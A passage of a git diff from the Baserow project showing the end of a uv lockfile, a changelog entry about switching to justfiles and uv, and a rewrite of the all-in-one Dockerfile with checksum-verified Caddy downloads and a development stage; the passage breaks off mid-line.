"https://files.pythonhosted.org/packages/6e/a4/51a25e591d645df71ee0dc3a2c880b28e5514c00ce752f98a40a87abcd1e/websockets-12.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8e332c210b14b57904869ca9f9bf4ca32f5427a03eeb625da9b616c85a3a506c", size = 131502, upload-time = "2023-10-21T14:19:50.683Z" }, + { url = "https://files.pythonhosted.org/packages/cd/ea/0ceeea4f5b87398fe2d9f5bcecfa00a1bcd542e2bfcac2f2e5dd612c4e9e/websockets-12.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5693ef74233122f8ebab026817b1b37fe25c411ecfca084b29bc7d6efc548f45", size = 130491, upload-time = "2023-10-21T14:19:51.835Z" }, + { url = "https://files.pythonhosted.org/packages/e3/05/f52a60b66d9faf07a4f7d71dc056bffafe36a7e98c4eb5b78f04fe6e4e85/websockets-12.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6e9e7db18b4539a29cc5ad8c8b252738a30e2b13f033c2d6e9d0549b45841c04", size = 130872, upload-time = "2023-10-21T14:19:53.071Z" }, + { url = "https://files.pythonhosted.org/packages/ac/4e/c7361b2d7b964c40fea924d64881145164961fcd6c90b88b7e3ab2c4f431/websockets-12.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:6e2df67b8014767d0f785baa98393725739287684b9f8d8a1001eb2839031447", size = 136318, upload-time = "2023-10-21T14:19:54.41Z" }, + { url = "https://files.pythonhosted.org/packages/0a/31/337bf35ae5faeaf364c9cddec66681cdf51dc4414ee7a20f92a18e57880f/websockets-12.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:bea88d71630c5900690fcb03161ab18f8f244805c59e2e0dc4ffadae0a7ee0ca", size = 135594, upload-time = "2023-10-21T14:19:55.982Z" }, + { url = "https://files.pythonhosted.org/packages/95/aa/1ac767825c96f9d7e43c4c95683757d4ef28cf11fa47a69aca42428d3e3a/websockets-12.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:dff6cdf35e31d1315790149fee351f9e52978130cef6c87c4b6c9b3baf78bc53", size = 136191, upload-time = "2023-10-21T14:19:57.349Z" }, + { url = "https://files.pythonhosted.org/packages/79/4d/9cc401e7b07e80532ebc8c8e993f42541534da9e9249c59ee0139dcb0352/websockets-12.0-py3-none-any.whl", hash = "sha256:dc284bbc8d7c78a6c69e0c7325ab46ee5e40bb4d50e494d8131a07ef47500e9e", size = 118370, upload-time = "2023-10-21T14:21:10.075Z" }, +] + +[[package]] +name = "wrapt" +version = "1.17.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/95/8f/aeb76c5b46e273670962298c23e7ddde79916cb74db802131d49a85e4b7d/wrapt-1.17.3.tar.gz", hash = "sha256:f66eb08feaa410fe4eebd17f2a2c8e2e46d3476e9f8c783daa8e09e0faa666d0", size = 55547, upload-time = "2025-08-12T05:53:21.714Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/52/db/00e2a219213856074a213503fdac0511203dceefff26e1daa15250cc01a0/wrapt-1.17.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:273a736c4645e63ac582c60a56b0acb529ef07f78e08dc6bfadf6a46b19c0da7", size = 53482, upload-time = "2025-08-12T05:51:45.79Z" }, + { url = "https://files.pythonhosted.org/packages/5e/30/ca3c4a5eba478408572096fe9ce36e6e915994dd26a4e9e98b4f729c06d9/wrapt-1.17.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5531d911795e3f935a9c23eb1c8c03c211661a5060aab167065896bbf62a5f85", size = 38674, upload-time = "2025-08-12T05:51:34.629Z" }, + { url = "https://files.pythonhosted.org/packages/31/25/3e8cc2c46b5329c5957cec959cb76a10718e1a513309c31399a4dad07eb3/wrapt-1.17.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:0610b46293c59a3adbae3dee552b648b984176f8562ee0dba099a56cfbe4df1f", size = 38959, upload-time = "2025-08-12T05:51:56.074Z" }, + { url = "https://files.pythonhosted.org/packages/5d/8f/a32a99fc03e4b37e31b57cb9cefc65050ea08147a8ce12f288616b05ef54/wrapt-1.17.3-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b32888aad8b6e68f83a8fdccbf3165f5469702a7544472bdf41f582970ed3311", size = 82376, upload-time = "2025-08-12T05:52:32.134Z" }, + { url = "https://files.pythonhosted.org/packages/31/57/4930cb8d9d70d59c27ee1332a318c20291749b4fba31f113c2f8ac49a72e/wrapt-1.17.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8cccf4f81371f257440c88faed6b74f1053eef90807b77e31ca057b2db74edb1", size = 83604, upload-time = "2025-08-12T05:52:11.663Z" }, + { url = "https://files.pythonhosted.org/packages/a8/f3/1afd48de81d63dd66e01b263a6fbb86e1b5053b419b9b33d13e1f6d0f7d0/wrapt-1.17.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d8a210b158a34164de8bb68b0e7780041a903d7b00c87e906fb69928bf7890d5", size = 82782, upload-time = "2025-08-12T05:52:12.626Z" }, + { url = "https://files.pythonhosted.org/packages/1e/d7/4ad5327612173b144998232f98a85bb24b60c352afb73bc48e3e0d2bdc4e/wrapt-1.17.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:79573c24a46ce11aab457b472efd8d125e5a51da2d1d24387666cd85f54c05b2", size = 82076, upload-time = "2025-08-12T05:52:33.168Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f6/a933bd70f98e9cf3e08167fc5cd7aaaca49147e48411c0bd5ae701bb2194/wrapt-1.17.3-py3-none-any.whl", hash = "sha256:7171ae35d2c33d326ac19dd8facb1e82e5fd04ef8c6c0e394d7af55a55051c22", size = 23591, upload-time = "2025-08-12T05:53:20.674Z" }, +] + +[[package]] +name = "xmlschema" +version = "2.5.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "elementpath", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/59/af/42e9e773eaa6bc8e8c322f93c75454b0d370979048b250bfef7786ff26ec/xmlschema-2.5.1.tar.gz", hash = "sha256:4f7497de6c8b6dc2c28ad7b9ed6e21d186f4afe248a5bea4f54eedab4da44083", size = 539267, upload-time = "2023-12-19T15:51:57.663Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5e/2a/c2bc97fd20efe65cfcfc21666d1b0213969133d37ea093761d264d9ed9f8/xmlschema-2.5.1-py3-none-any.whl", hash = "sha256:ec2b2a15c8896c1fcd14dcee34ca30032b99456c3c43ce793fdb9dca2fb4b869", size = 395065, upload-time = "2023-12-19T15:51:53.136Z" }, +] + +[[package]] +name = "zipp" +version = "3.19.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4f/a1/ac66fba5917fb7860f91cb251ac6cf838923a8abe89e059cc1988cb256d1/zipp-3.19.1.tar.gz", hash = "sha256:35427f6d5594f4acf82d25541438348c26736fa9b3afa2754bcd63cdb99d8e8f", size = 22625, upload-time = "2024-05-31T16:39:21.514Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/82/1a/ac67760425f2477b1da593b347db66d474130747e6e5285d08c7f2d5884a/zipp-3.19.1-py3-none-any.whl", hash = "sha256:2828e64edb5386ea6a52e7ba7cdb17bb30a73a858f5eb6eb93d8d36f5ea26091", size = 8951, upload-time = "2024-05-31T16:39:19.68Z" }, +] + +[[package]] +name = "zipstream-ng" +version = "1.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ac/16/5d9224baf640214255c34a0a0e9528c8403d2b89e2ba7df9d7cada58beb1/zipstream_ng-1.8.0.tar.gz", hash = "sha256:b7129d2c15d26934b3e1cb22256593b6bdbd03c553c26f4199a5bf05110642bc", size = 35887, upload-time = "2024-10-10T05:22:33.213Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cd/81/11ecdfd5370d6c383f0188a6f2fa2842499e1be617e678d1845f972c6821/zipstream_ng-1.8.0-py3-none-any.whl", hash = "sha256:e7196cb845cf924ed12e7a3b38404ef9e82a5a699801295f5f4cf601449e2bf6", size = 23082, upload-time = "2024-10-10T05:22:31.655Z" }, +] + +[[package]] +name = "zope-interface" +version = "8.1.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/71/c9/5ec8679a04d37c797d343f650c51ad67d178f0001c363e44b6ac5f97a9da/zope_interface-8.1.1.tar.gz", hash = "sha256:51b10e6e8e238d719636a401f44f1e366146912407b58453936b781a19be19ec", size = 254748, upload-time = "2025-11-15T08:32:52.404Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/77/fc/d84bac27332bdefe8c03f7289d932aeb13a5fd6aeedba72b0aa5b18276ff/zope_interface-8.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:e8a0fdd5048c1bb733e4693eae9bc4145a19419ea6a1c95299318a93fe9f3d72", size = 207955, upload-time = "2025-11-15T08:36:45.902Z" }, + { url = "https://files.pythonhosted.org/packages/52/02/e1234eb08b10b5cf39e68372586acc7f7bbcd18176f6046433a8f6b8b263/zope_interface-8.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a4cb0ea75a26b606f5bc8524fbce7b7d8628161b6da002c80e6417ce5ec757c0", size = 208398, upload-time = "2025-11-15T08:36:47.016Z" }, + { url = "https://files.pythonhosted.org/packages/3c/be/aabda44d4bc490f9966c2b77fa7822b0407d852cb909b723f2d9e05d2427/zope_interface-8.1.1-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:c267b00b5a49a12743f5e1d3b4beef45479d696dab090f11fe3faded078a5133", size = 255079, upload-time = "2025-11-15T08:36:48.157Z" }, + { url = "https://files.pythonhosted.org/packages/d8/7f/4fbc7c2d7cb310e5a91b55db3d98e98d12b262014c1fcad9714fe33c2adc/zope_interface-8.1.1-cp311-cp311-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:e25d3e2b9299e7ec54b626573673bdf0d740cf628c22aef0a3afef85b438aa54", size = 259850, upload-time = "2025-11-15T08:36:49.544Z" }, + { url = "https://files.pythonhosted.org/packages/fe/2c/dc573fffe59cdbe8bbbdd2814709bdc71c4870893e7226700bc6a08c5e0c/zope_interface-8.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:63db1241804417aff95ac229c13376c8c12752b83cc06964d62581b493e6551b", size = 261033, upload-time = "2025-11-15T08:36:51.061Z" }, +] + +[[package]] +name = "zstandard" +version = "0.25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/83/c3ca27c363d104980f1c9cee1101cc8ba724ac8c28a033ede6aab89585b1/zstandard-0.25.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c", size = 795254, upload-time = "2025-09-14T22:16:26.137Z" }, + { url = "https://files.pythonhosted.org/packages/ac/4d/e66465c5411a7cf4866aeadc7d108081d8ceba9bc7abe6b14aa21c671ec3/zstandard-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f", size = 640559, upload-time = "2025-09-14T22:16:27.973Z" }, + { url = "https://files.pythonhosted.org/packages/12/56/354fe655905f290d3b147b33fe946b0f27e791e4b50a5f004c802cb3eb7b/zstandard-0.25.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431", size = 5348020, upload-time = "2025-09-14T22:16:29.523Z" }, + { url = "https://files.pythonhosted.org/packages/3b/13/2b7ed68bd85e69a2069bcc72141d378f22cae5a0f3b353a2c8f50ef30c1b/zstandard-0.25.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a", size = 5058126, upload-time = "2025-09-14T22:16:31.811Z" }, + { url = "https://files.pythonhosted.org/packages/c9/dd/fdaf0674f4b10d92cb120ccff58bbb6626bf8368f00ebfd2a41ba4a0dc99/zstandard-0.25.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc", size = 5405390, upload-time = "2025-09-14T22:16:33.486Z" }, + { url = "https://files.pythonhosted.org/packages/0f/67/354d1555575bc2490435f90d67ca4dd65238ff2f119f30f72d5cde09c2ad/zstandard-0.25.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6", size = 5452914, upload-time = "2025-09-14T22:16:35.277Z" }, + { url = "https://files.pythonhosted.org/packages/bb/1f/e9cfd801a3f9190bf3e759c422bbfd2247db9d7f3d54a56ecde70137791a/zstandard-0.25.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072", size = 5559635, upload-time = "2025-09-14T22:16:37.141Z" }, + { url = "https://files.pythonhosted.org/packages/21/88/5ba550f797ca953a52d708c8e4f380959e7e3280af029e38fbf47b55916e/zstandard-0.25.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277", size = 5048277, upload-time = "2025-09-14T22:16:38.807Z" }, + { url = "https://files.pythonhosted.org/packages/46/c0/ca3e533b4fa03112facbe7fbe7779cb1ebec215688e5df576fe5429172e0/zstandard-0.25.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313", size = 5574377, upload-time = "2025-09-14T22:16:40.523Z" }, + { url = "https://files.pythonhosted.org/packages/12/9b/3fb626390113f272abd0799fd677ea33d5fc3ec185e62e6be534493c4b60/zstandard-0.25.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097", size = 4961493, upload-time = "2025-09-14T22:16:43.3Z" }, + { url = "https://files.pythonhosted.org/packages/cb/d3/23094a6b6a4b1343b27ae68249daa17ae0651fcfec9ed4de09d14b940285/zstandard-0.25.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778", size = 5269018, upload-time = "2025-09-14T22:16:45.292Z" }, + { url = "https://files.pythonhosted.org/packages/8c/a7/bb5a0c1c0f3f4b5e9d5b55198e39de91e04ba7c205cc46fcb0f95f0383c1/zstandard-0.25.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065", size = 5443672, upload-time = "2025-09-14T22:16:47.076Z" }, + { url = "https://files.pythonhosted.org/packages/27/22/503347aa08d073993f25109c36c8d9f029c7d5949198050962cb568dfa5e/zstandard-0.25.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa", size = 5822753, upload-time = "2025-09-14T22:16:49.316Z" }, + { url = "https://files.pythonhosted.org/packages/e2/be/94267dc6ee64f0f8ba2b2ae7c7a2df934a816baaa7291db9e1aa77394c3c/zstandard-0.25.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7", size = 5366047, upload-time = "2025-09-14T22:16:51.328Z" }, +] diff --git a/changelog/entries/unreleased/refactor/replace_devsh_and_makefile_with_justfiles_use_uv_to_manage_p.json b/changelog/entries/unreleased/refactor/replace_devsh_and_makefile_with_justfiles_use_uv_to_manage_p.json new file mode 100644 index 0000000000..7b2d147f2e --- /dev/null +++ b/changelog/entries/unreleased/refactor/replace_devsh_and_makefile_with_justfiles_use_uv_to_manage_p.json @@ -0,0 +1,9 @@ +{ + "type": "refactor", + "message": "Replace dev.sh and makefile with justfiles. Use uv to manage python in the backend.", + "issue_origin": "github", + "issue_number": null, + "domain": "core", + "bullet_points": [], + "created_at": "2025-12-11" +} \ No newline at end of file diff --git a/config/vscode/.vscode/env b/config/vscode/.vscode/env index 94391be7b5..3893fe8bee 100644 --- a/config/vscode/.vscode/env +++ b/config/vscode/.vscode/env @@ -1,3 +1,2 @@ -TEST_ENV_FILE=.env.testing-local PYTHONPATH=backend/src:premium/backend/src:enterprise/backend/src:backend/flake8_plugins:$PYTHONPATH DJANGO_SETTINGS_MODULE=baserow.config.settings.test diff --git a/deploy/all-in-one/Dockerfile b/deploy/all-in-one/Dockerfile index cfe635d34f..121199912d 100644 --- a/deploy/all-in-one/Dockerfile +++ b/deploy/all-in-one/Dockerfile @@ -1,133 +1,239 @@ -ARG FROM_BACKEND_IMAGE=baserow_backend -ARG FROM_WEBFRONTEND_IMAGE=baserow_web-frontend -# This is pinned as version pinning is done by the CI setting FROM_IMAGE. +# syntax=docker/dockerfile:1.4 +ARG UID="9999" +ARG GID="9999" + +ARG BACKEND_IMAGE=baserow_backend +ARG WEBFRONTEND_IMAGE=baserow_web-frontend # hadolint ignore=DL3006 -FROM $FROM_BACKEND_IMAGE AS backend_image_base +FROM ${BACKEND_IMAGE}:latest AS backend_image # hadolint ignore=DL3006 -FROM $FROM_WEBFRONTEND_IMAGE AS web_frontend_image_base -FROM debian:bookworm-slim AS base - -SHELL ["/bin/bash", "-o", "pipefail", "-c"] +FROM ${BACKEND_IMAGE}:dev AS backend_image_dev +# hadolint ignore=DL3006 +FROM ${WEBFRONTEND_IMAGE}:latest AS web_frontend_image +# hadolint ignore=DL3006 +FROM ${WEBFRONTEND_IMAGE}:dev AS web_frontend_image_dev +# ============================================================================= +# Base - system dependencies (cached independently of source images) +# ============================================================================= +FROM python:3.11-slim-bookworm AS base ARG UID -ENV UID=${UID:-9999} ARG GID -ENV GID=${GID:-9999} -ARG DOCKER_USER -ENV DOCKER_USER=${DOCKER_USER:-baserow_docker_user} - -ENV DATA_DIR=/baserow/data -ENV BASEROW_PLUGIN_DIR=$DATA_DIR/plugins -ENV POSTGRES_VERSION=15 -ENV NODE_MAJOR=24 -ENV POSTGRES_LOCATION=/etc/postgresql/15/main -ENV BASEROW_IMAGE_TYPE="all-in-one" - -# ======================== -# = APT-GET UPDATE/UPGRADE/INSTALL DEPS + NODE + CADDY -# ======================== -# hadolint ignore=DL3013 -RUN apt-get update && \ + +SHELL ["/bin/bash", "-o", "pipefail", "-c"] + +ENV DOCKER_USER=baserow_docker_user \ + BASEROW_IMAGE_TYPE="all-in-one" \ + DATA_DIR=/baserow/data \ + POSTGRES_VERSION=15 \ + POSTGRES_LOCATION=/etc/postgresql/15/main \ + BASEROW_PLUGIN_DIR=/baserow/data/plugins \ + UV_PROJECT_ENVIRONMENT=/baserow/venv \ + PATH="/baserow/venv/bin:$PATH" \ + PYTHONUNBUFFERED=1 + +# Caddy checksums for v2.7.6 +ENV CADDY_VERSION=2.7.6 \ + CADDY_SHA256_AMD64=99587cf77c595f0bf62cc23c9ea101f9879fa016c7b689d498ce054904821f22 \ + CADDY_SHA256_ARM64=6e6aeca09502a8f0ab0a08acd03bb765e80888052d108de22e0698a9160b7235 + +# Runtime dependencies +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ + --mount=type=cache,target=/var/lib/apt,sharing=locked \ + apt-get update && \ apt-get upgrade -y && \ DEBIAN_FRONTEND=noninteractive TZ=Etc/UTC apt-get install --no-install-recommends -y \ - make supervisor curl gnupg2 \ - build-essential \ - lsb-release \ - ca-certificates \ - && \ - # Postgresql repository has to be added manually to get pre-13 versions. - echo "deb http://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main" > /etc/apt/sources.list.d/pgdg.list && \ - curl -fsSL https://www.postgresql.org/media/keys/ACCC4CF8.asc | apt-key add - \ - && \ - mkdir -p /etc/apt/keyrings && \ - curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | gpg --dearmor -o /etc/apt/keyrings/nodesource.gpg && \ - echo "deb [signed-by=/etc/apt/keyrings/nodesource.gpg] https://deb.nodesource.com/node_$NODE_MAJOR.x nodistro main" | tee /etc/apt/sources.list.d/nodesource.list \ - && \ - # Install the correct version of postgresql and the remaining packages - apt-get update && \ - apt-get install --no-install-recommends -y \ - postgresql-$POSTGRES_VERSION \ - postgresql-${POSTGRES_VERSION}-pgvector \ - postgresql-client-$POSTGRES_VERSION \ - libpq-dev \ - redis-server \ - python3 \ - python3-pip \ - python3-dev \ - python3-venv \ - tini \ + supervisor curl gnupg2 ca-certificates \ psmisc \ gawk \ - git \ + postgresql-client-${POSTGRES_VERSION} \ xmlsec1 \ - procps \ - nodejs && \ - python3 -m pip install --no-cache-dir --upgrade pip setuptools==78.1.1 --break-system-packages && \ - rm -rf /usr/lib/python3/dist-packages/setuptools* /usr/lib/python3/dist-packages/pkg_resources* && \ - apt-get clean && \ - rm -rf /var/lib/apt/lists/* && \ - # ======================== - # Install Yarn - # ======================== - npm install --global yarn@1.22.19 && \ - # ======================== - # Install Caddy - # ======================== \ - curl -o caddy.tar.gz -sL "https://github.com/caddyserver/caddy/releases/download/v2.7.6/caddy_2.7.6_linux_$(dpkg --print-architecture).tar.gz" && \ - tar -xf caddy.tar.gz && \ - mv caddy /usr/bin/ && \ - rm caddy.tar.gz && \ - # ======================== - # Setup Users - # ======================== - ( groupadd -g "$GID" baserow_docker_group || true ) && \ - ( useradd --shell /bin/bash -u $UID -g "$GID" -o -c "" -m "$DOCKER_USER" -l || true) && \ - usermod -a -G tty "$DOCKER_USER" && \ - # ======================== - # Setup supervisor so it logs to stdout - # ======================== + gettext \ + && \ + # Install Caddy with checksum verification + ARCH=$(dpkg --print-architecture) && \ + curl -o caddy.tar.gz -sL "https://github.com/caddyserver/caddy/releases/download/v${CADDY_VERSION}/caddy_${CADDY_VERSION}_linux_${ARCH}.tar.gz" && \ + if [ "$ARCH" = "amd64" ]; then echo "${CADDY_SHA256_AMD64} caddy.tar.gz" | sha256sum -c -; \ + elif [ "$ARCH" = "arm64" ]; then echo "${CADDY_SHA256_ARM64} caddy.tar.gz" | sha256sum -c -; \ + else echo "Unsupported architecture: $ARCH" && exit 1; fi && \ + tar -xf caddy.tar.gz && mv caddy /usr/bin/ && rm caddy.tar.gz && \ + # Setup user and group with fixed UID/GID for volume permission consistency + getent group $GID || groupadd --system --gid $GID ${DOCKER_USER} && \ + useradd --shell /bin/bash -l -u $UID -g $GID -o -c "" -d /baserow -m ${DOCKER_USER} && \ + # Setup supervisor ln -sf /dev/stdout /var/log/supervisor/supervisord.log && \ - # ======================== + # Create data and plugin directories with correct ownership + mkdir -p ${DATA_DIR} ${BASEROW_PLUGIN_DIR} && \ + chown -R $UID:$GID ${DATA_DIR} ${BASEROW_PLUGIN_DIR} + +# Copy Node.js, npm, and yarn from web-frontend image (avoids insecure curl|bash from NodeSource) +COPY --from=web_frontend_image /usr/local/bin/node /usr/local/bin/node +COPY --link --from=web_frontend_image /usr/local/lib/node_modules /usr/local/lib/node_modules +COPY --link --from=web_frontend_image /opt/yarn-v1.22.22 /opt/yarn-v1.22.22 +RUN ln -s /opt/yarn-v1.22.22/bin/yarn /usr/local/bin/yarn + +# Copy su-exec from backend image (already built with pinned version + SHA256 verification) +COPY --link --from=backend_image /usr/local/bin/su-exec /usr/local/bin/su-exec +COPY --link --from=backend_image /usr/bin/tini /usr/bin/tini + + +# ============================================================================= +# Development - adds dev tools, backend dev venv, and frontend dev deps +# ============================================================================= +FROM base AS dev +ARG UID +ARG GID + +# Install uv and dev tools +COPY --from=ghcr.io/astral-sh/uv:latest /uv /usr/local/bin/uv + +ENV PYTHONPATH="/baserow/backend/src:/baserow/premium/backend/src:/baserow/enterprise/backend/src:/baserow/backend/tests:/baserow/premium/backend/tests:/baserow/enterprise/backend/tests" \ + DJANGO_SETTINGS_MODULE='baserow.config.settings.dev' \ + BASEROW_ALL_IN_ONE_DEV_MODE='true' \ + UV_PROJECT_ENVIRONMENT='/baserow/venv' \ + NUXT_CACHE_DIR='/baserow/node_modules/.cache' + + RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ + --mount=type=cache,target=/var/lib/apt,sharing=locked \ + apt-get update && \ + # Add PostgreSQL repo (for pgvector) and install postgres + redis + curl -fsSL https://www.postgresql.org/media/keys/ACCC4CF8.asc | gpg --dearmor -o /usr/share/keyrings/postgresql-keyring.gpg && \ + echo "deb [signed-by=/usr/share/keyrings/postgresql-keyring.gpg] http://apt.postgresql.org/pub/repos/apt bookworm-pgdg main" > /etc/apt/sources.list.d/postgresql.list && \ + apt-get update && \ + apt-get install --no-install-recommends -y \ + build-essential \ + python3.11-dev \ + procps \ + vim \ + tmux \ + sudo \ + postgresql-${POSTGRES_VERSION} \ + postgresql-${POSTGRES_VERSION}-pgvector \ + redis-server && \ # Setup redis - # ======================== usermod -a -G tty redis && \ - # Ensure redis is not running in daemon mode as supervisor will supervise it directly sed -i 's/daemonize yes/daemonize no/g' /etc/redis/redis.conf && \ - # Ensure redis logs to stdout by removing any logfile statements sed -i 's/daemonize no/daemonize no\nbind 127.0.0.1/g' /etc/redis/redis.conf && \ - # Sedding changes the owner, change it back. sed -i '/^logfile/d' /etc/redis/redis.conf && \ chown redis:redis /etc/redis/redis.conf -# Install su-exec as a safer alternative to gosu -RUN curl -L -o /usr/local/bin/su-exec.c https://github.com/ncopa/su-exec/raw/master/su-exec.c \ - && gcc -Wall -Werror -static -o /usr/local/bin/su-exec /usr/local/bin/su-exec.c \ - && chmod 0755 /usr/local/bin/su-exec \ - && rm /usr/local/bin/su-exec.c +RUN echo "${DOCKER_USER} ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/${DOCKER_USER} && \ + chmod 0440 /etc/sudoers.d/${DOCKER_USER} -# In slim docker images, mime.types is removed and we need it for mimetypes guessing -COPY --chown=$UID:$GID ./backend/docker/mime.types /etc/ +# Backend venv and frontend deps +COPY --chown=$UID:$GID --from=backend_image ${UV_PROJECT_ENVIRONMENT} ${UV_PROJECT_ENVIRONMENT} +COPY --chown=$UID:$GID --from=web_frontend_image /baserow/web-frontend/node_modules /baserow/web-frontend/node_modules +COPY --chown=$UID:$GID ./LICENSE /baserow/LICENSE +COPY --chown=$UID:$GID ./backend/docker/mime.types /etc/ COPY --chown=$UID:$GID Caddyfile /baserow/caddy/Caddyfile +COPY --chown=$UID:$GID deploy/all-in-one/supervisor/ /baserow/supervisor +COPY --chown=$UID:$GID deploy/all-in-one/baserow.sh /baserow.sh + +USER $UID:$GID +# Configure tmux to preserve environment variables (don't start login shell) +RUN echo 'set -g default-command "${SHELL}"' > /baserow/.tmux.conf + +# Create .bashrc with environment variables for interactive shells +RUN printf '%s\n' \ + '# Baserow All-in-One Development Environment' \ + 'export PATH="/baserow/venv/bin:/baserow/web-frontend/node_modules/.bin:$PATH"' \ + 'export PYTHONPATH="/baserow/backend/src:/baserow/premium/backend/src:/baserow/enterprise/backend/src:/baserow/backend/tests:/baserow/premium/backend/tests:/baserow/enterprise/backend/tests"' \ + 'export PYTHONUNBUFFERED=1' \ + 'export UV_PROJECT_ENVIRONMENT=/baserow/venv' \ + 'export UV_PYTHON_PREFERENCE=only-system' \ + 'export UV_COMPILE_BYTECODE=0' \ + 'export UV_CACHE_DIR=/tmp/baserow_uv_cache' \ + 'export DJANGO_SETTINGS_MODULE=baserow.config.settings.dev' \ + '' \ + '# Aliases' \ + 'alias j="just"' \ + 'alias m="python /baserow/backend/src/baserow/manage.py"' \ + 'alias pytest="python -m pytest"' \ + 'alias y="yarn"' \ + '' \ + '# Show a helpful message' \ + 'echo "Baserow all-in-one dev container"' \ + 'echo " j - See available commands"' \ + 'echo "Backend:"' \ + 'echo " m - Django manage.py (e.g., m shell_plus)"' \ + 'echo " pytest - Run tests"' \ + 'echo "Frontend:"' \ + 'echo " y - Run yarn commands"' \ + > /baserow/.bashrc + +USER root HEALTHCHECK --interval=60s CMD ["/bin/bash", "/baserow/backend/docker/docker-entrypoint.sh", "backend-healthcheck"] +ENTRYPOINT ["/baserow.sh"] +CMD ["start"] +EXPOSE 80 -# ======================== -# = BASEROW -# ======================== -# We have to explicitly copy the node modules and .nuxt build as otherwise the -# .dockerignore will exclude them. -COPY --chown=$UID:$GID --from=web_frontend_image_base /baserow/web-frontend/node_modules/ /baserow/web-frontend/node_modules/ -COPY --chown=$UID:$GID --from=web_frontend_image_base 